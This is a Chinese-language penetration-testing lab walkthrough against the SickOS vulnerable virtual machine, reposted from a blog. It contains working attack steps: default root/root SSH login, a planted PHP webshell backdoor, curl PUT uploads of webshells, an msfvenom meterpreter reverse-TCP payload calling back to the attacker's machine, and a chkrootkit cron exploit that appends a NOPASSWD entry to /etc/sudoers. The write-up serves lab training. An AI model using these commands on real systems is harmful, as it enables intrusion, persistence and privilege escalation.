渗透测试实战8——SickOS靶机入侵

目录

一、实验环境

二、实验步骤

主动信息收集

端口探测——22端口

端口探测——80端口

1、目录探测

2、获取shell

3、提权

4、防火墙规则


一、实验环境

  • 攻击机(Kali):192.168.247.181
  • 靶机(SickOS):192.168.247.180

二、实验步骤

主动信息收集

1、主机发现

2、端口扫描

目标靶机开放8180端口和22端口

3、端口详细信息

4、探测漏洞

可以看到http服务的版本是lighttpd 1.4.28,使用searchsploit搜服务的已知漏洞,并没有发现该版本的对应漏洞。

端口探测——22端口

1、尝试登录

尝试使用简单的账户密码登录,账号:root,密码:root竟然登陆成功,而且直接拿到具有root权限的shell。

终极四连问

2、留后门

在/var/www目录下看到test目录,结合前面扫描到的目录http://192.168.247.180/test,可以得到/var/www目录就是网站目录。在该目录下写下一句话木马,保存为admin.php。

使用中国菜刀进行测试

模拟终端

端口探测——80端口

1、目录探测

在浏览器上直接访问192.168.247.180,可以看到主页没有什么有用信息。接下来使用dirb分别对默认字典和大字典对靶机进行目录探测,找到index.php和/test/目录。

访问192.168.247.180/test,也没有发现什么有用信息。

查看Kali里的/usr/share/nmap/scripts/http-methods.nse脚本

2、获取shell

方法一

1、查询http://192.168.247.180/test下支持的方法

nmap --script http-methods --script-args http-methods.url-path='/test' 192.168.247.180

可以看到/test目录下支持PUT方法,所以我们可以上传文件了。 

2、用BurpSuite上传了一个test.html文件进行测试,发现真的上传成功了,上传一个不存在的文件会响应201 Created。 

3、然后就是传webshell了。为了隐蔽,我用BurpSuite上传了shell3.php,上传一个存在的文件名会响应200 OK。

4、如果想要删除创建的东西,可使用DELETE方法进行删除。

成功删除test.html

5、使用中国菜刀CKnife

模拟终端

然后我们就可以对它进行提权,这里就先不讲解了,下面会说如何进行提权的。

注:我这里只是上传了一个获取cmd的php文件,当然也可以上传一个获取反弹shell的脚本,在Kali测试机上进行监听,便可以得到反弹shell。

步骤:

  1. 获取反弹shell脚本,路径:/usr/share/webshells/php/php-reverse-shell.php,修改里面的IP和监听端口号(443)。
  2. 将该脚本上传至靶机。
  3. curl -v -H ‘Expect:’ -T <脚本存放路径> “http://192.168.247.180/test/”
  4. 在Kali测试机上监听端口(443)
  5. 触发脚本文件,获取反弹shell。

方法二:msfvenom生成payload

1、上传一个精心构造的php webshell,使用msfvenom来生成payload。这里是指定到时候msfconsole中监听的端口为11111。

msfvenom -p php/meterpreter.reverse_tcp LHOST=192.168.247.181 LPORT=11111 > shell_11111.php

  • -p:选择一个payload
  • LHOST=Kali测试机的IP
  • LPORT=监听端口

补充:

  • msfvenom -l           #查询payload
  • msfvenom -h         #查看帮助信息

2、将shell_11111.php上传到192.168.247.180的/test/目录。

curl -v -H “Expect:” -T shell_11111.php “http://192.168.247.180/test/”

  • -v:显示更多信息;
  • -T:指定要上传的文件;
  • -H:将自定义头(Expect:)传递给服务器,即将Header中Expect的值手动指定为空。

        补充:cURL是一个利用URL语法在命令行下工作的文件传输工具,1997年首次发行。它支持文件上传和下载,所以是综合传输工具,但按传统,习惯称cURL为下载工具。可输入命令 ' curl -h  '  查看帮助信息。

3、访问http://192.168.247.180/test/,发现shell_11111.php上传成功。

4、在Kali测试机上打开msfconsole,使用use exploit/multi/handler模块,指定IP(靶机IP)和端口,然后放到后台进行监听。 

curl -v “http://192.168.247.180/test/shell_11111.php”

        使用curl访问靶机上的shell_11111.php之后,页面卡住了,这是正常情况,说明在等待服务器响应,但是msfconsole中并没有什么反应。 于是猜想是防火墙ban掉了非常用端口的outbound流量。

修改监听的端口

1、在msfvenom和msfconsole中修改LHOST的值为常用端口,这里将其设置为443。

2、访问靶机上的shell_443.php。

3、触发服务器端反弹TCP的操作,在msfconsole里就会得到一个meterpreter的shell。 

4、在meterpreter里用shell命令得到一个交互式的shell,但是并没有tty,输入命令 —— python -c ‘import pty;pty.spawn(“/bin/bash”)’ ,生成一个完全交互式的tty。

5、终极四连问

3、提权

1、本地提权漏洞发现

  • lsb_release -a                #查看系统版本
  • ls -la /etc/cron*
  • searchsploit chkrootkit

crontab是用来让使用者在固定时间或固定间隔执行程序,换句话说,类似于使用者的时程表。

2、探测漏洞

使用searchsploit搜索chkrootkit的已知漏洞,发现chkrootkit存在本地提权漏洞。

        可以看到当chkrootkit的版本是低于0.50时,chkrootkit有crontab,会定期以root身份执行/tmp/update文件。我们可以利用这一点,在/tmp目录下新建update文件,做我们想让root帮我们做的事。注意:需给/tmp/update增加可执行权限。

方法一:编写shell.c文件

1、在Kali测试机上的/var/www/html编写shell.c文件,并开启apache服务。

2、在获得的shell下wget该文件,显示连接不上Kali测试机。

3、采用远程传输,将shell.c文件上传到靶机的tmp目录下。(也可以使用curl命令)

4、编译shell.c文件,并将它输出为update文件;执行update,成功拿到root权限。

5、终极三连问

方法二:在update文件中将当前用户www-data加入到sudoers列表中

echo 'chmod +w /etc/sudoers && echo "www-data ALL=(ALL)NOPASSWD:ALL" >> /etc/sudoers' > /tmp/update

终极三连问

4、防火墙规则

  • 对于入站流量:只接受22、80目的端口,8080、443源端口
  • 对于出站流量:只接受22、80源端口,8080、443目的端口

        即,本地端口只允许22和80,外来端口只允许8080和443访问,以次来保证对外部HTTP(s)服务的正常访问。这也就是为什么前面使用高位端口不成功、使用443端口监听成功的原因。

猜你喜欢

转载自blog.csdn.net/weixin_43625577/article/details/90051491
今日推荐